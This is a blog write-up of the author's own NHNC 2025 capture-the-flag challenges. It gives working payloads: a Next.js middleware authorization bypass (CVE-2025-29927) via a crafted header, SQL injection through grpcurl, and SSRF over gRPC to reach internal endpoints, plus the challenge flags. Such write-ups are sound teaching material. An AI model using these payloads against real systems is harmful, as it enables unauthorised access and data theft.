NHNC 2025 Official Writeup | Frank's Blog
NHNC 2025 Official Writeup

NHNC 2025 Official Writeup

  1. 2025-07-08 00:02
  2. 3 min read

Hi I am Frank and this’s my Official Writeup

The source code for all challenges of me
https://github.com/Frank-Kam/NHNC-2025_Chal

Welcome (Welcome)

Description

##### Welcome to No Hack No CTF 2025. Good luck and have fun !
![](/files/b44048de9fcc06d1aafc39a2f3511ff9/nhnc-2025.webp "NHNC{Welcome_Flag_lol}")
</br>

`Hover your mouse over the image !`
NHNC Welcome Flag Just move the mouse and place it on the image to get the flag.

NHNC{Welcome_Flag_lol}

Next Song is 春日影 (Web)

Source Code

Description

![春日影](https://drive.miyago9267.com/d/file/img/mygo/%E7%82%BA%E4%BB%80%E9%BA%BC%E8%A6%81%E6%BC%94%E5%A5%8F%E6%98%A5%E6%97%A5%E5%BD%B1.jpg)
</br>

NextJS Vulnerability at /admin

`Author: Frank`

Visiting /admin will reveal a redirect, then go to Google and search for NextJS Vulnerability payload; you should see many payloads for CVE-2025-29927.
Understanding CVE-2025-29927: The Next.js Middleware Authorization Bypass Vulnerability
So, just add the following to the HTTP HEADER:

x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Then use the payload:

curl -X GET -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" https://???.com/admin

Then get the flag

NHNC{ANon_iS_cUtE_RIGhT?}

Catch The Goose (Web)

Source Code

Description

![Goose](https://www.americanoceans.org/wp-content/uploads/2023/12/goose-vs-duck-1024x768.jpeg)
</br>

👀 secret_flag or user:admin

`Author: Frank`

Public File

server.py

From the third line of the public file, it can be seen that there is gRPC, and on the line 12 , there is an SQL query string without filtering before or after, suggesting that gRPC is used for SQL injection.
If you directly test with grpcurl now, it will definitely report an error (because there is no .proto file to define the gRPC connection method) , so we read the gRPC official manual to find the syntax for the .proto file.
Then, by examining lines 11 to 21 of the source code, we saw that GetUser returns a UserReply, and the surrounding lines show how username is handled, so we created user.proto accordingly.

syntax = "proto3";

service UserService {
  rpc GetUser (UserRequest) returns (UserReply);
}

message UserRequest {
  string username = 1;
}

message UserReply {
  string data = 1;
}

Finally, based on the challenge description and the SQL query string on line 12, we discovered that in addition to user:admin, there is also a key called secret_flag.
Therefore, we constructed the payload accordingly.

grpcurl -plaintext -proto user.proto -d '{"username": "'\'' OR key = '\''secret_flag"}' ???.com:14514 UserService/GetUser

Then get the flag

{
  "data": "NHNC{lETs_cOoK_THe_GoOSE_:speaking_head::speaking_head::speaking_head:}"
}

Let’s Cook Some Delicious Goose! (Web)

Source Code

Description

#### The Goose Is Run Awayyyyy!!!
![](https://static.styletc.com/images/cover/25/401925/md-a1e281da945043f7eab9b6dcc1b1ace6.jpg)
</br>
Analyze the packets
</br>

`Author:Frank` </br>
*Ps : The File < 150 MB*
`[https://drive.google.com/file/d/1Vc3IEderqWIBcbDiHzLgx0vP9K15OxUS/view?usp=sharing](https://drive.google.com/file/d/1Vc3IEderqWIBcbDiHzLgx0vP9K15OxUS/view?usp=sharing)`

Public File

Happy_Log.pcapng
fetch.proto
flag_server.py

We noticed that the public files include a .pcapng packet capture file and a .proto file used for gRPC communication.
We started by analyzing the packet capture file using Wireshark.
Use the filter at the top of Wireshark to filter for gRPC traffic.

grpc

Then, we can see packets like the following:

:method: POST
:scheme: http
:path: /fetch.FetchService/FetchURL
:authority: ???.com:6666
content-type: application/grpc
user-agent: grpcurl/v1.9.3 grpc-go/1.61.0
te: trailers
grpc-accept-encoding: gzip


:status: 200
content-type: application/grpc
grpc-accept-encoding: identity, deflate, gzip

grpc-status: 0
grpc-message: 

We can clearly see a gRPC packet sent from the user to the target machine at ???.com:6666.
Based on fetch.proto and flag_server.py, we can tell this is an SSRF test. In flag_server.py, it looks like you first need to GET /token and then use the retrieved token to POST to /POST.
Finallyyyyy, let’s construct the payload.
Get token

grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/token\",\"method\":\"GET\",\"headers\":{}}" ???.com:6666 fetch.FetchService/FetchURL

Post to /flag

grpcurl -plaintext -proto fetch.proto -d "{\"url\":\"http://localhost:80/flag\",\"method\":\"POST\",\"headers\":{\"Content-Type\":\"application/x-www-form-urlencoded\"},\"body\":\"token=66663333777nejwncc\"}" ???.com:6666 fetch.FetchService/FetchURL

Then get the flag

NHNC{YuMMyeeeE_GOOOd_ChAL_rIGHT}

Thank you for reading. Feel free to leave a comment and discuss with me.

Info-Sec